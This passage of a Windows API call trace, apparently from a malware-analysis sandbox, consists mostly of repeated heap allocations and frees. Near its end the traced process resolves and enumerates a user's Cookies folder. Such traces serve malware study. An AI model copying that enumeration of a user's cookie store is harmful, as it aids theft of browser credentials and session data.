Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.784] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.784] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.784] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.784] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.785] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.785] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.785] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.785] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.785] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.785] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.785] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.785] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.785] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.785] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.785] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.785] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.785] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.785] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.785] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.785] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.785] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.785] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.785] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.785] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.785] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.785] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.785] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.785] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.785] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.785] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.785] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.785] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.785] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.785] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.786] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.786] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.786] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.786] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.786] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.786] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.786] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.786] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.786] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.786] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.786] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.786] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.786] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.786] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.786] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.787] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.787] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.787] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.787] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.787] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.787] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.787] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.787] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.787] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.787] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.787] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.787] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.787] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.787] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.787] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.787] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.787] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.787] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.787] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.787] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.787] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.787] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.787] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.787] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.787] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.787] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.787] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.787] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.787] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.787] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.787] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.788] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.788] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.788] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.788] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.788] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.788] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.788] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.788] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.788] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.788] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.788] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.788] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.788] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.788] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.788] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.788] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.788] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.788] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.788] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.788] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.788] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.788] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.788] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.788] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.788] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.788] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.788] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.788] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.788] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.788] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.789] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.789] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.789] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.789] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.789] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.789] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.789] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.789] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.789] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.789] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.789] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.789] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.789] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.789] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.789] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.791] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.791] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.791] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.791] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.791] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.791] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.791] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.791] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0059.791] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0059.791] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0059.791] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.791] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.791] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0059.791] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0059.791] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0059.791] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0059.791] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.791] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0059.791] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.791] PathFindFileNameW (pszPath="") returned="" [0059.791] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.791] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0059.791] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.791] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0059.791] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31196b8 | out: hHeap=0x670000) returned 1 [0059.791] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.791] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31196b8 [0059.792] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.792] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.792] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.792] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.792] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.792] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.792] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.792] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.792] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.792] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.792] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.792] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.792] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.792] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.792] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.792] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.792] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.792] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.792] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.792] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.792] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.792] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.792] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.792] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.792] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.792] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.792] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.792] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.792] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.792] HeapFree (in: hHeap=0x670000, 